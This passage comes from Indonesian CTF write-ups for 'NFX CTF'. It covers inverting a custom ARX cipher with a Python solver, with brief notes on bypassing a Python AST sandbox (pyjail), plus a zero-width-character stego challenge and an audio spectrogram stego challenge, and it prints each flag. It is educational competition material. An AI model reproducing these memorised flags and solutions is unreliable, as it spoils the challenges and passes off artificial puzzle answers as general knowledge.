    assert len(flag_bytes) == 42
    w = list(struct.unpack(">21H", flag_bytes))
    for r in range(32):
        rc = ((r * 0x9E37) + 0x7F4A) & 0xFFFF
        for i in range(21):
            prev = w[(i - 1) % 21]
            mix = _rol16((prev * 257 + rc + i * 17) & 0xFFFF, (r + i) % 15 + 1)
            w[i] = (w[i] ^ mix) & 0xFFFF
            w[i] = _rol16((w[i] + rc) & 0xFFFF, 5)
        w = [w[(i * 4) % 21] for i in range(21)]
    return w
```

Karakteristik:

- Flag 42 byte = **21 word 16-bit big-endian**.
- **32 ronde**.
- Setiap ronde:
    - round constant rc = (r * 0x9E37 + 0x7F4A) mod 2^16,

- campuran prev, rc, dan indeks i,
- XOR dengan mix,
- penambahan rc,
- rotasi kiri 5 bit,
- permutasi word new[i] = old[(i*4) mod 21].

Semua operasi adalah **ARX (Add-Rotate-XOR)** dan permutasi — seluruhnya invertible.

Membalik Cipher

Invers:

- _rol16(v, s) dibalik dengan ror16(v, s) = ((v >> s) | (v << (16-s))) & 0xFFFF.
- Permutasi i -> (i*4) mod 21 dibalik dengan k -> (16*k) mod 21, karena 4 * 16 = 64 ≡ 1 (mod 21).
- Ronde dibalik dari r = 31 sampai 0.
- Loop dalam dibalik dari i = 20 sampai 0:
  - hitung prev, mix, dan rotasi yang sama,
  - u = ror16(w[i], 5),
  - t = (u - rc) mod 2^16,
  - w[i] = t ^ mix.

Solver:

```
import struct

V = [
    29406, 62193, 3550, 51604, 54474, 58556, 5807, 62536, 3004, 10962,
    33499, 52037, 51010, 45605, 6009, 18571, 21884, 35367, 29761, 57118, 51549,
]

def ror16(v, s):
    return ((v >> s) | (v << (16 - s))) & 0xFFFF

w = V[:]

for r in range(31, -1, -1):
    old = [0] * 21
    for k in range(21):
        old[k] = w[(16 * k) % 21]
    w = old

    rc = ((r * 0x9E37) + 0x7F4A) & 0xFFFF
```

```
    for i in range(20, -1, -1):
        prev = w[(i - 1) % 21]

        mix = (prev * 257 + rc + i * 17) & 0xFFFF
        s = (r + i) % 15 + 1
        mix = ((mix << s) & 0xFFFF) | (mix >> (16 - s))

        u = ror16(w[i], 5)
        t = (u - rc) & 0xFFFF
        w[i] = t ^ mix

flag = struct.pack(">21H", *w).decode()
print(flag)
```

Jalankan:

```
python3 solve.py
```

Hasil

```
NFXCTF{pyj41l_4st_4lch3my_vm_pwn_d84f216a}
```

Catatan: Sandbox / Pyjail

verify_ast membatasi ekspresi:

- Tidak boleh ada digit atau tanda kutip (0-9, ", ').
- Tidak boleh Import, ImportFrom, Lambda, comprehension, atau f-string.
- Attribute dengan awalan _ dilarang.
- Call maksimal 2 argumen posisional, tanpa keyword.
- safe_env hanya menyediakan getattr, chr, dan als (_encrypt_vault).

Rute pyjail yang mungkin adalah mencapai als.__globals__ untuk membaca _VAULT_STATE. Namun:

- als.__globals__ langsung diblokir karena attribute diawali _.
- getattr(als, "__globals__") membutuhkan string, sedangkan tanda kutip dan digit dilarang; chr() juga butuh angka.

Pada akhirnya, karena _VAULT_STATE **tertanam di source**, sandbox tidak diperlukan untuk menyelesaikan challenge. Membalik cipher secara offline sudah cukup — dan itulah yang dilakukan solver.

Flag

```
NFXCTF{pyj41l_4st_4lch3my_vm_pwn_d84f216a}
```

Pelajaran

- Custom cipher berbasis ARX/permutasi dengan konstanta tetap **bukan enkripsi aman**; jika state dan algoritma ada di source, plaintext dapat dibalik sepenuhnya.
- Jangan menyimpan flag terenkripsi bersama kode dekripsi/enkripsi yang dapat dijalankan offline.
- Sandbox/pyjail harus diasumsikan dapat di-bypass; jangan mengandalkan filter AST sebagai satu-satunya kontrol keamanan.
- Rotasi, XOR, dan penjumlahan modulo 2^16 mudah diinvers selama urutan operasi dipahami.

Stay — Misc & Logic (Medium)

- **Challenge:** Stay
- **Event:** NFX CTF
- **Category:** Misc & Logic
- **Vektor:** Zero-width character steganography → Base64 → repeating-key XOR
- **Flag:** NFX{st4y_w1th_m3_1n_th3_d4rk}

Ringkasan

Challenge misc berupa lirik lagu yang disisipi **zero-width characters** (karakter tak terlihat). Setelah diekstrak, isinya Base64, lalu di-XOR dengan key dari lirik.

1. Analisis Awal

Diberikan teks lirik:

```
So stay, stay with me tonight,
Let the world fall out of sight.
Your hand in mine, my heart in two,
I'm falling slow, but I'm falling for you.
```

Secara visual teks normal, tetapi ada banyak karakter tak terlihat di antara kata-kata. Ini ciri khas **steganografi zero-width** (U+200B, U+200C, U+200D, U+2060, dll).

2. Ekstraksi Zero-Width

Kumpulkan semua karakter zero-width yang muncul, lalu map ke bit (misalnya ZWSP = 0, ZWNJ = 1, atau sesuai frekuensi), kelompokkan per 8 bit → byte → string.

Hasil ekstraksi berupa **string Base64**.

3. Decode Base64

String Base64 di-decode → menghasilkan **ciphertext** (bukan plaintext langsung).

4. XOR dengan Key

Dari lirik, kata yang menonjol/berulang adalah **"falling"** (muncul di baris terakhir: *"I'm falling slow"* dan *"I'm falling for you"*). Ini petunjuk key XOR.

Ciphertext di-XOR dengan key falling (repeating-key XOR) → didapat plaintext:

```
NXCTF{st4y_w1th_m3_1n_th3_d4rk}
```

5. Penyesuaian Format

Soal meminta format NFX{...}. Prefix NXCTF berasal dari platform/challenge asli, sedangkan soal meminta NFX. Maka flag final:

```
NFX{st4y_w1th_m3_1n_th3_d4rk}
```

Pelajaran

- Teks lirik "bersih" bisa menyimpan data di **karakter zero-width** — selalu cek repr() atau hexdump teks dari soal.
- **Judul dan lirik** sering jadi hint key/kategori (di sini: "Stay", "falling").
- Selalu perhatikan **format flag** yang diminta soal; prefix hasil decode bisa berbeda dari format resmi.

Frekuensi Sunyi – Misc (Medium)

Kategori	Misc (Audio Steganography)
Level	Medium
File	rekaman_lobi_1_.wav
Flag	NFX{b0sC4_Ce01L}

Deskripsi

> Musik lobi ini diputar setiap hari, dan tidak ada yang pernah merasa terganggu. Sampai suatu hari, seorang teknisi suara bilang ada yang "menempel" di dalamnya. Katanya, pesan itu tidak untuk didengar.

Petunjuk utama: pesan **tidak untuk didengar**, tetapi "menempel" pada audio. Artinya pesan kemungkinan berada di domain frekuensi dan dapat dilihat lewat **spektrogram**, bukan dengan telinga.

Ringkasan Solusi

```
rekaman_lobi_1_.wav
  └─ spektrogram -> ada teks di detik ±60–80, frekuensi ±12–18 kHz
     └─ teks tertutup klik perkusi -> demodulasi per nada + buang frame klik
        └─ terbaca: ASK{o0fP4_Pr01Y}
           └─ ROT13 (ASK -> NFX) -> NFX{b0sC4_Ce01L}
```

Langkah Pengerjaan

1. Pemeriksaan dasar

```
import numpy as np, scipy.io.wavfile as wf
sr, x = wf.read('rekaman_lobi_1_.wav')
print(sr, x.shape, x.dtype, x.shape[0]/sr)
# 44100 (5296128, 2) int16 120.09
print(np.array_equal(x[:,0], x[:,1]))
# True
```

Temuan:

- WAV PCM 16-bit, stereo, 44,1 kHz, durasi sekitar 120 detik.
- Kanal kiri dan kanan **identik** (selisih L−R = 0), sehingga stego antar-kanal (misalnya fase atau selisih kanal) tidak mungkin.
- Header RIFF dan ukuran file konsisten, tidak ada data tambahan di akhir file.
- Bit LSB berimbang (rata-rata 0,499) dan tidak membentuk pola ASCII, jadi bukan LSB stego.

2. Spektrogram

Karena petunjuknya mengarah ke sesuatu yang "tidak untuk didengar", langkah berikutnya adalah melihat spektrogram.

```
from scipy.signal import spectrogram
f, t, S = spectrogram(x[:,0].astype(float), sr, nperseg=2048, noverlap=1024)
S = 10*np.log10(S + 1e-9)
# plot dengan pcolormesh, sumbu y 0–22 kHz
```

Pada rentang **detik ±60 sampai ±80** dan **frekuensi ±12 sampai 18 kHz** terlihat gambar berbentuk teks. Frekuensi setinggi itu hampir tidak terdengar di tengah musik. Bagian lain dari track (awal, akhir, pita infrasonik, dan di atas 19,5 kHz) tidak menunjukkan konten tersembunyi lain.

3. Membersihkan teks dari gangguan

Teks sulit dibaca karena tertutup **klik perkusi** (drum) yang bersifat broadband dan tampil sebagai garis vertikal di seluruh frekuensi. Dua perbaikan awal membantu tetapi belum sempurna:

- Mengurangi median per kolom waktu untuk meredam klik broadband.
- Memperbesar area ke 12–18 kHz.

Hasilnya sudah terbaca sebagian ("ASK{...}"), tetapi beberapa huruf masih terpotong oleh klik.

Observasi kunci: puncak spektrum di area teks berjarak teratur **±142,86 Hz** (= 1000/7 Hz). Tiap baris piksel gambar ternyata dibangun dari satu nada sinus pada frekuensi k × 142,857 Hz, dengan amplitudo yang berubah terhadap waktu sebagai "tinta" huruf. Dengan begitu gambarnya bisa direkonstruksi lebih bersih lewat demodulasi tiap nada.

```
from scipy.signal import firwin, lfilter

base = 1000/7                  # jarak antar nada (Hz)
ks   = np.arange(80, 135)        # indeks nada (~11,4–19,3 kHz)
t0, t1 = 58.0, 83.0
seg = x[:,0].astype(float)[int(t0*sr):int(t1*sr)]
n   = np.arange(len(seg)) / sr
lp  = firwin(2001, 25, fs=sr)      # low-pass 25 Hz untuk mengambil envelope
dec = 441                      # decimate ke 100 Hz

rows = []
for k in ks:
    z  = seg * np.exp(-2j*np.pi*k*base*n)        # geser nada ke 0 Hz
    zr = lfilter(lp, 1, z.real)[::dec]
    zi = lfilter(lp, 1, z.imag)[::dec]
    rows.append(np.hypot(zr, zi))              # envelope amplitudo
E = 20*np.log10(np.array(rows) + 1e-6)           # (nada x waktu) = "gambar"
```

Frame yang terkena klik dideteksi lewat energi di baris-baris di luar area teks (nada di bawah 11,5 kHz dan di atas 18,8 kHz). Frame tersebut dibuang lalu diinterpolasi dari frame tetangga:

```
ref  = np.vstack([E[ks >= 132], E[ks <= 82]]).mean(axis=0)
bad  = ref > np.median(ref) + 6
# perlebar sedikit lalu interpolasi linear per baris
```

Setelah dirender (pcolormesh, sumbu y = frekuensi nada), teks muncul jelas:

```
ASK{o0fP4_Pr01Y}
```

Karakter yang sempat ambigu dicek lewat zoom:

Karakter	**Pilihan**	**Alasan**
o (setelah {)	o huruf kecil	Tingginya hanya sekitar x-height, lebih pendek dari huruf kapital
0	angka nol	Oval sempit dan tinggi setinggi huruf kapital
f	f (bukan t)	Batang setinggi huruf kapital, ada lengkung di atas dan palang di tengah
1	angka satu (bukan l)	Ada "bendera" kecil di kiri atas batang

4. Decode ROT13

Prefix flag di spektrogram adalah ASK, padahal format flag yang diharapkan NFX{}. Ternyata ASK adalah hasil **ROT13** dari NFX:

A	**S**	**K**
N	F	X

Jadi seluruh teks di-ROT13 (huruf bergeser 13, angka dan simbol tidak berubah):

```
echo 'ASK{o0fP4_Pr01Y}' | tr 'A-Za-z' 'N-ZA-Mn-za-m'

NFX{b0sC4_Ce01L}
```

Flag

```
NFX{b0sC4_Ce01L}
```

> **Catatan:** pembacaan teks dari spektrogram sudah dicek lewat zoom, tetapi karakter f (bisa saja t) dan 1 (bisa saja l) adalah yang paling mungkin keliru. Jika flag ditolak saat submit, coba varian tersebut terlebih dahulu.

Pelajaran

- Petunjuk seperti "tidak untuk didengar" dan "menempel" pada audio sering berarti **gambar atau teks di spektrogram**. Alat yang bisa dipakai: Audacity (Spectrogram view), Sonic Visualiser, atau scipy/matplotlib.
- Jika teks tertutup noise atau transien, jangan berhenti di spektrogram biasa. Cari struktur sinyalnya (misalnya jarak antar nada teratur), lalu **demodulasi tiap komponen** untuk merekonstruksi gambar yang lebih bersih.
- Klik perkusi bersifat broadband dan singkat, sehingga bisa dideteksi dari energi di luar pita teks, dibuang, lalu diinterpolasi.
- Periksa juga kanal L/R, LSB, header, dan pita frekuensi lain untuk menyingkirkan kemungkinan lain.
- Jika prefix hasil temuan tidak cocok dengan format flag, coba **transformasi sederhana** seperti ROT13 atau Caesar. Prefix yang diketahui (NFX) dapat menjadi kunci untuk mengenali transformasinya.
- Untuk karakter yang mirip (0/O, 1/l, f/t), cek tinggi dan bentuk glyph dengan zoom, dan siapkan varian cadangan.

Tools yang Digunakan

- Python 3 (numpy, scipy, matplotlib, Pillow)
- tr / base shell untuk ROT13